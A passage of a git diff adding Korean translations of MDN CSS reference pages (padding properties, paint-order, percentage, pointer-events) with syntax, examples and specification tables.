+ <td>{{ Specname('CSS1', '#padding-left', 'padding-left') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.padding-left")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model" title="en/CSS/box model">CSS 기본 박스 모델 입문</a></li>
+ <li>{{cssxref("padding")}}</li>
+</ul>
diff --git a/files/ko/web/css/padding-right/index.html b/files/ko/web/css/padding-right/index.html
new file mode 100644
index 0000000000..44c0a5be73
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+++ b/files/ko/web/css/padding-right/index.html
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+---
+title: padding-right
+slug: Web/CSS/padding-right
+tags:
+ - CSS
+ - CSS Padding
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/padding-right
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+<div>{{CSSRef}}</div>
+
+<p><strong><code>padding-right</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 오른쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#padding-area">안쪽 여백 영역</a>을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-right.html")}}</div>
+
+
+
+<p>요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
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+padding-right: 0;
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+
+/* &lt;percentage&gt; 값 */
+padding-right: 10%;
+
+/* 전역 값 */
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+padding-right: unset;
+</pre>
+
+<p><code>padding-right</code> 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백<sup>margin</sup>과 다르게, 음수 값은 사용할 수 없습니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>여백의 크기로 고정값 사용.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>여백의 크기로 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비의 백분율 사용.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">.content { padding-right: 5%; }
+.sidebox { padding-right: 10px; }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding-right') }}</td>
+ <td>{{ Spec2('CSS3 Box') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-right') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>padding-right</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-right') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ Specname('CSS1', '#padding-right', 'padding-right') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.padding-right")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model" title="en/CSS/box model">CSS 기본 박스 모델 입문</a></li>
+ <li>{{cssxref("padding")}}</li>
+</ul>
diff --git a/files/ko/web/css/padding-top/index.html b/files/ko/web/css/padding-top/index.html
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+title: padding-top
+slug: Web/CSS/padding-top
+tags:
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+ - CSS Padding
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+<div>{{CSSRef}}</div>
+
+<p><strong><code>padding-top</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 위쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#padding-area">안쪽 여백 영역</a>을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-top.html")}}</div>
+
+
+
+<p>요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.</p>
+
+<p><img alt="The effect of the CSS padding-top property on the element box" src="/files/4105/padding-top.svg" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<div class="note">
+<p><strong>참고:</strong> {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+padding-top: 0.5em;
+padding-top: 0;
+padding-top: 2cm;
+
+/* &lt;percentage&gt; 값 */
+padding-top: 10%;
+
+/* 전역 값 */
+padding-top: inherit;
+padding-top: initial;
+padding-top: unset;
+</pre>
+
+<p><code>padding-top</code> 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백<sup>margin</sup>과 다르게, 음수 값은 사용할 수 없습니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>여백의 크기로 고정값 사용.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>여백의 크기로 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> <strong>너비</strong>의 백분율 사용.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">.content { padding-top: 5%; }
+.sidebox { padding-top: 10px; }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding-top') }}</td>
+ <td>{{ Spec2('CSS3 Box') }}</td>
+ <td>No change.</td>
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+ <tr>
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+ <td>{{ Spec2('CSS3 Transitions') }}</td>
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+ <tr>
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+ </tr>
+ <tr>
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+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.padding-top")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model" title="en/CSS/box model">CSS 기본 박스 모델 입문</a></li>
+ <li>{{cssxref("padding")}}</li>
+</ul>
diff --git a/files/ko/web/css/padding/index.html b/files/ko/web/css/padding/index.html
new file mode 100644
index 0000000000..e69023e569
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+++ b/files/ko/web/css/padding/index.html
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+title: padding
+slug: Web/CSS/padding
+tags:
+ - CSS
+ - CSS Padding
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/padding
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>padding</code></strong> <a href="/ko/CSS">CSS</a> 속성은 요소의 네 방향 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#padding-area">안쪽 여백 영역</a>을 설정합니다. {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}의 단축 속성입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding.html")}}</div>
+
+
+
+<p>요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>padding</code>은 요소의 내부에 빈 공간을 추가합니다. 반면 {{cssxref("margin")}}은 요소의 <strong>주위</strong>에 빈 공간을 만듭니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 네 면 모두 적용 */
+padding: 1em;
+
+/* 세로방향 | 가로방향 */
+padding: 5% 10%;
+
+/* 위 | 가로방향 | 아래 */
+padding: 1em 2em 2em;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+padding: 5px 1em 0 2em;
+
+/* 전역 값 */
+padding: inherit;
+padding: initial;
+padding: unset;
+</pre>
+
+<p><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">padding</span></font> 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 각 값은 {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}} 중 하나로, 음수 값은 유효하지 않습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 모든 네 면의 여백을 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 여백을 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 여백을 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 여백을 지정합니다. (시계방향)</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><strong>{{cssxref("length")}}</strong></dt>
+ <dd>여백의 크기로 고정값 사용.</dd>
+ <dt>{{cssxref("percentage")}}</dt>
+ <dd>여백의 크기로 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비의 백분율 사용.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h4&gt;평범한 안쪽 여백을 가진 요소.&lt;/h4&gt;
+&lt;h3&gt;엄청난 안쪽 여백을 가진 요소!&lt;/h3&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">h4 {
+ background-color: lime;
+ padding: 20px 50px;
+}
+
+h3 {
+ background-color: cyan;
+ padding: 110px 50px 50px 110px;
+}
+</pre>
+
+<p><span>{{EmbedLiveSample('간단한_예제', '100%', 300)}}</span></p>
+
+<h3 id="더_많은_예제"><span>더 많은 예제</span></h3>
+
+<pre class="brush: css">padding: 5%; /* 모두 5% */
+
+padding: 10px; /* 모두 10px */
+
+padding: 10px 20px; /* 상하: 10px */
+ /* 좌우: 20px */
+
+padding: 10px 3% 20px; /* 상: 10px */
+ /* 좌우: 3% */
+ /* 하: 20px */
+
+padding: 1em 3px 30px 5px; /* 상: 1em */
+ /* 우: 3px */
+ /* 하: 30px */
+ /* 좌: 5px */
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding') }}</td>
+ <td>{{ Spec2('CSS3 Box') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>padding</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#propdef-padding', 'padding') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ Specname('CSS1', '#padding', 'padding') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.padding")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">CSS 기본 박스 모델 입문</a></li>
+ <li>{{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}.</li>
+</ul>
diff --git a/files/ko/web/css/paged_media/index.html b/files/ko/web/css/paged_media/index.html
new file mode 100644
index 0000000000..fd998e8d03
--- /dev/null
+++ b/files/ko/web/css/paged_media/index.html
@@ -0,0 +1,19 @@
+---
+title: Paged Media
+slug: Web/CSS/Paged_Media
+tags:
+ - CSS
+ - CSS3
+ - Page Breaks
+translation_of: Web/CSS/Paged_Media
+---
+<p>인쇄 미디어(paged media) 속성은 인쇄 콘텐츠의 프레젠테이션 또는 콘텐츠를 개별 페이지로 나누는 다른 미디어를 제어합니다. 페이지 나누기 설정, 인쇄 가능 영역 제어, 서로 다른 좌우 페이지 스타일 및 요소 내부 나누기 제어를 할 수 있습니다. 널리 지원되는 속성은 포함합니다</p>
+
+<ul>
+ <li>{{ cssxref("page-break-before") }}</li>
+ <li>{{ cssxref("page-break-after") }}</li>
+ <li>{{ cssxref("page-break-inside") }}</li>
+ <li>{{ cssxref("orphans") }}</li>
+ <li>{{ cssxref("widows") }}</li>
+ <li>{{ cssxref("@page") }}</li>
+</ul>
diff --git a/files/ko/web/css/paint-order/index.html b/files/ko/web/css/paint-order/index.html
new file mode 100644
index 0000000000..00b7ff9311
--- /dev/null
+++ b/files/ko/web/css/paint-order/index.html
@@ -0,0 +1,110 @@
+---
+title: paint-order
+slug: Web/CSS/paint-order
+tags:
+ - CSS
+ - Reference
+ - SVG
+ - Web
+ - 'recipe:css-property'
+translation_of: Web/CSS/paint-order
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>paint-order</code></strong> 속성은 텍스트 및 모양의 채움 색과 테두리(마커 포함)를 그리는 순서를 지정합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 일반 */
+paint-order: normal;
+
+/* 단일 값 */
+paint-order: stroke; /* draw the stroke first, then fill and markers */
+paint-order: markers; /* draw the markers first, then fill and stroke */
+
+/* 다중 값 */
+paint-order: stroke fill; /* draw the stroke first, then the fill, then the markers */
+paint-order: markers stroke fill; /* draw markers, then stroke, then fill */
+</pre>
+
+<p>아무것도 지정하지 않았을 때의 기본값은 <code>fill</code>, <code>stroke</code>, <code>markers</code>입니다.</p>
+
+<p>하나의 값만 지정하면 그 값을 제일 먼저 그린 후, 기본값의 순서에 따라 나머지를 그립니다. 두 개를 지정하면 나머지 하나를 맨 나중에 그립니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 마커의 경우 <code>marker-*</code> 속성(<code><a href="/ko/docs/Web/SVG/Attribute/marker-start">marker-start</a></code> 등)과 <code><a href="/ko/docs/Web/SVG/Element/marker">&lt;marker&gt;</a></code> 요소를 사용하는 SVG 모양의 경우에만 올바릅니다. HTML 텍스트는 이에 해당하지 않으므로 <code>stroke</code>와 <code>fill</code>의 순서만 정할 수 있습니다.</p>
+</div>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>일반적인 그리기 순서를 사용합니다.</dd>
+ <dt><code>stroke</code>,<br>
+ <code>fill</code>,<br>
+ <code>markers</code></dt>
+ <dd>일부 항목 또는 모든 항목의 그리기 순서를 지정합니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리와_채움_색_순서_바꾸기">테두리와 채움 색 순서 바꾸기</h3>
+
+<h4 id="SVG">SVG</h4>
+
+<pre class="brush: html notranslate">&lt;svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"&gt;
+  &lt;text x="10" y="75"&gt;stroke in front&lt;/text&gt;
+  &lt;text x="10" y="150" class="stroke-behind"&gt;stroke behind&lt;/text&gt;
+&lt;/svg&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">text {
+  font-family: sans-serif;
+  font-size: 50px;
+  font-weight: bold;
+  fill: black;
+  stroke: red;
+  stroke-width: 4px;
+}
+
+.stroke-behind {
+  paint-order: stroke fill;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("테두리와_채움_색_순서_바꾸기", "100%", 165)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("SVG2", "painting.html#PaintOrder", "paint-order")}}</td>
+ <td>{{Spec2("SVG2")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.paint-order")}}</p>
diff --git a/files/ko/web/css/percentage/index.html b/files/ko/web/css/percentage/index.html
new file mode 100644
index 0000000000..a6bf20bfb6
--- /dev/null
+++ b/files/ko/web/css/percentage/index.html
@@ -0,0 +1,86 @@
+---
+title: <percentage>
+slug: Web/CSS/percentage
+tags:
+ - CSS
+ - CSS Data Type
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/CSS/percentage
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;percentage&gt;</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 백분율 값을 나타냅니다. 보통 부모 객체와의 상대적 크기를 지정할 때 사용합니다. {{Cssxref("width")}}, {{Cssxref("height")}}, {{Cssxref("margin")}}, {{Cssxref("padding")}}, {{Cssxref("font-size")}} 처럼 다양한 속성에서 백분율을 쓸 수 있습니다.</p>
+
+<div class="note"><strong>참고:</strong> 계산된 값만 상속받을 수 있습니다. 따라서 부모 속성이 백분율 값을 사용하더라도 전달되는 값은 실제값(예컨대 너비의 {{cssxref("&lt;length&gt;")}} 값은 픽셀)이며 백분율 값은 접근할 수 없습니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;percentage&gt;</code> 자료형은 {{cssxref("&lt;number&gt;")}}와 그 뒤의 백분율 기호(<code>%</code>)로 표기합니다. 선택적으로 하나의 <code>+</code> 또는 <code>-</code> 기호로 부호를 표기할 수 있지만, 음의 값은 어떤 속성에서도 유효하지 않습니다. 다른 CSS 단위와 마찬가지로 숫자와 기호 사이에 공백은 없습니다.</p>
+
+<h2 id="보간">보간</h2>
+
+<p>애니메이션에서 <code>&lt;percentage&gt;</code> 자료형의 값은 유동소수점 실수를 사용해 보간됩니다. 보간의 속도는 애니메이션과 연결된 <a href="/ko/docs/Web/CSS/single-transition-timing-function">타이밍 함수</a>가 결정합니다.</p>
+
+<h2 id="예제"><strong>예제</strong></h2>
+
+<h3 id="width와_margin-left"><code>width</code>와 <code>margin-left</code></h3>
+
+<pre class="brush: html">&lt;div style="background-color:blue;"&gt;
+ &lt;div style="width:50%; margin-left:20%; background-color:lime;"&gt;
+ width: 50%, margin-left: 20%
+ &lt;/div&gt;
+ &lt;div style="width:30%; margin-left:60%; background-color:pink;"&gt;
+ width: 30%, margin-left: 60%
+ &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('width와_margin-left', '600', 140)}}</p>
+
+<h3 id="font-size"><code>font-size</code></h3>
+
+<pre class="brush: html">&lt;div style="font-size:18px;"&gt;
+ &lt;p&gt;원본 텍스트 (18px)&lt;/p&gt;
+ &lt;p&gt;&lt;span style="font-size:50%;"&gt;50%&lt;/span&gt;&lt;/p&gt;
+ &lt;p&gt;&lt;span style="font-size:200%;"&gt;200%&lt;/span&gt;&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('font-size', 'auto', 160)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Values', '#percentages', '&lt;percentage&gt;')}}</td>
+ <td>{{Spec2('CSS3 Values')}}</td>
+ <td>No significant change from CSS Level 2 (Revision 1).</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'syndata.html#percentage-units', '&lt;percentage&gt;')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No change from CSS Level 1.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#percentage-units', '&lt;percentage&gt;')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.percentage")}}</p>
diff --git a/files/ko/web/css/pointer-events/index.html b/files/ko/web/css/pointer-events/index.html
new file mode 100644
index 0000000000..db74788d89
--- /dev/null
+++ b/files/ko/web/css/pointer-events/index.html
@@ -0,0 +1,168 @@
+---
+title: pointer-events
+slug: Web/CSS/pointer-events
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+ - SVG
+translation_of: Web/CSS/pointer-events
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>pointer-events</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 그래픽 요소가 어떤 상황에서 포인터 이벤트의 <a href="/ko/docs/Web/API/Event/target">대상</a>이 될 수 있는지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/pointer-events.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+pointer-events: auto;
+pointer-events: none;
+pointer-events: visiblePainted; /* SVG only */
+pointer-events: visibleFill; /* SVG only */
+pointer-events: visibleStroke; /* SVG only */
+pointer-events: visible; /* SVG only */
+pointer-events: painted; /* SVG only */
+pointer-events: fill; /* SVG only */
+pointer-events: stroke; /* SVG only */
+pointer-events: all; /* SVG only */
+
+/* 전역 값 */
+pointer-events: inherit;
+pointer-events: initial;
+pointer-events: unset;
+</pre>
+
+<p><code>pointer-events</code> 속성은 아래 목록의 값 중 하나를 선택해서 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>요소가 <code>pointer-events</code> 속성을 지정하지 않은 것처럼 행동합니다. SVG 콘텐츠에서는 <code>auto</code>와 <code>visiblePainted</code>가 동일한 효과를 지닙니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>요소가 포인터 이벤트의 대상이 되지 않습니다. 그러나 해당 요소의 자손이 다른 <code>pointer-events</code> 값을 지정한 경우, 그 자손은 대상이 될 수 있습니다. 이 때는 이벤트 캡처/<a href="/ko/docs/Web/API/Event/bubbles">버블</a> 단계에서 <code>none</code>을 지정한 요소의 이벤트 처리기를 발동할 수 있습니다.</dd>
+</dl>
+
+<h4 id="SVG_전용_HTML에서_실험적_기능">SVG 전용 (HTML에서 실험적 기능)</h4>
+
+<dl>
+ <dt><code>visiblePainted</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the <code>visibility</code> property is set to <code>visible</code> and when the mouse cursor is over the interior (i.e., 'fill') of the element and the <code>fill</code> property is set to a value other than <code>none</code>, or when the mouse cursor is over the perimeter (i.e., 'stroke') of the element and the <code>stroke</code> property is set to a value other than <code>none</code>.</dd>
+ <dt><code>visibleFill</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the <code>visibility</code> property is set to <code>visible</code> and when the mouse cursor is over the interior (i.e., fill) of the element. The value of the <code>fill</code> property does not affect event processing.</dd>
+ <dt><code>visibleStroke</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the <code>visibility</code> property is set to <code>visible</code> and when the mouse cursor is over the perimeter (i.e., stroke) of the element. The value of the <code>stroke</code> property does not affect event processing.</dd>
+ <dt><code>visible</code></dt>
+ <dd>SVG only. The element can be the target of a mouse event when the <code>visibility</code> property is set to <code>visible</code> and the mouse cursor is over either the interior (i.e., fill) or the perimeter (i.e., stroke) of the element. The values of the <code>fill</code> and <code>stroke</code> do not affect event processing.</dd>
+ <dt><code>painted</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the mouse cursor is over the interior (i.e., 'fill') of the element and the <code>fill</code> property is set to a value other than <code>none</code>, or when the mouse cursor is over the perimeter (i.e., 'stroke') of the element and the <code>stroke</code> property is set to a value other than <code>none</code>. The value of the <code>visibility</code> property does not affect event processing.</dd>
+ <dt><code>fill</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the pointer is over the interior (i.e., fill) of the element. The values of the <code>fill</code> and <code>visibility</code> properties do not affect event processing.</dd>
+ <dt><code>stroke</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the pointer is over the perimeter (i.e., stroke) of the element. The values of the <code>stroke</code> and <code>visibility</code> properties do not affect event processing.</dd>
+ <dt><code>all</code></dt>
+ <dd>SVG only. The element can only be the target of a mouse event when the pointer is over the interior (i.e., fill) or the perimeter (i.e., stroke) of the element. The values of the <code>fill</code>, <code>stroke</code> and <code>visibility</code> properties do not affect event processing.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>SVG 콘텐츠에 <code>pointer-events</code>를 지정하지 않은 경우, <code>visiblePainted</code> 값과 동일한 방법을 사용합니다.</p>
+
+<p><code>none</code> 값의 경우 요소가 포인터 이벤트의 대상이 아님을 가리키는 동시에, 이벤트가 요소를 "뚫고" 들어가 "아래" 요소를 대상으로 하도록 만듭니다.</p>
+
+<p>다만, <code>pointer-events</code>를 사용해 요소가 포인터 이벤트의 대상이 되지 않도록 지정한다 하여도, 요소의 이벤트 수신기가 절대 발동하지 않거나, 아예 발동할 수 없는 상태가 되는 것은 아닙니다. 만약 자식 요소 중 하나의 <code>pointer-events</code>를 명시적으로 허용한 경우, 해당 자식을 대상으로 하는 이벤트는 평범하게 부모 트리를 타고 올라가며, 그 도중에 부모의 이벤트 수신기를 발동시게 됩니다. 물론, 부모 요소가 덮고 있지만 (포인터 이벤트를 허용한) 자식 요소 바깥의 영역은 클릭해도 부모와 자식 둘 다 감지하지 못합니다.</p>
+
+<p><code>pointer-events: none</code>을 지정한 요소여도 <kbd>Tab</kbd> 키를 사용한 순차적 키보드 내비게이션으로 인해 포커스를 획득할 수 있습니다.</p>
+
+<p>We would like to provide finer grained control (than just <code>auto</code> and <code>none</code>) in HTML for which parts of an element will cause it to "catch" pointer events, and when. To help us in deciding how <code>pointer-events</code> should be further extended for HTML, if you have any particular things that you would like to be able to do with this property, then please add them to the Use Cases section of <a class="link-https" href="https://wiki.mozilla.org/SVG:pointer-events">this wiki page</a> (don't worry about keeping it tidy).</p>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문_2">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p>다음 예제는 모든 이미지에서 포인터 이벤트(클릭, 드래그, 호버 등)를 비활성화합니다.</p>
+
+<pre class="brush:css notranslate">img {
+ pointer-events: none;
+}</pre>
+
+<h3 id="링크_비활성화하기">링크 비활성화하기</h3>
+
+<p>다음 예제는 https://example.com으로 통하는 링크의 포인터 이벤트를 비활성화합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html notranslate">&lt;ul&gt;
+ &lt;li&gt;&lt;a href="https://developer.mozilla.org"&gt;MDN&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="http://example.com"&gt;example.com&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css notranslate">a[href="http://example.com"] {
+ pointer-events: none;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<div>{{EmbedLiveSample("링크_비활성화하기", "500", "100")}}</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
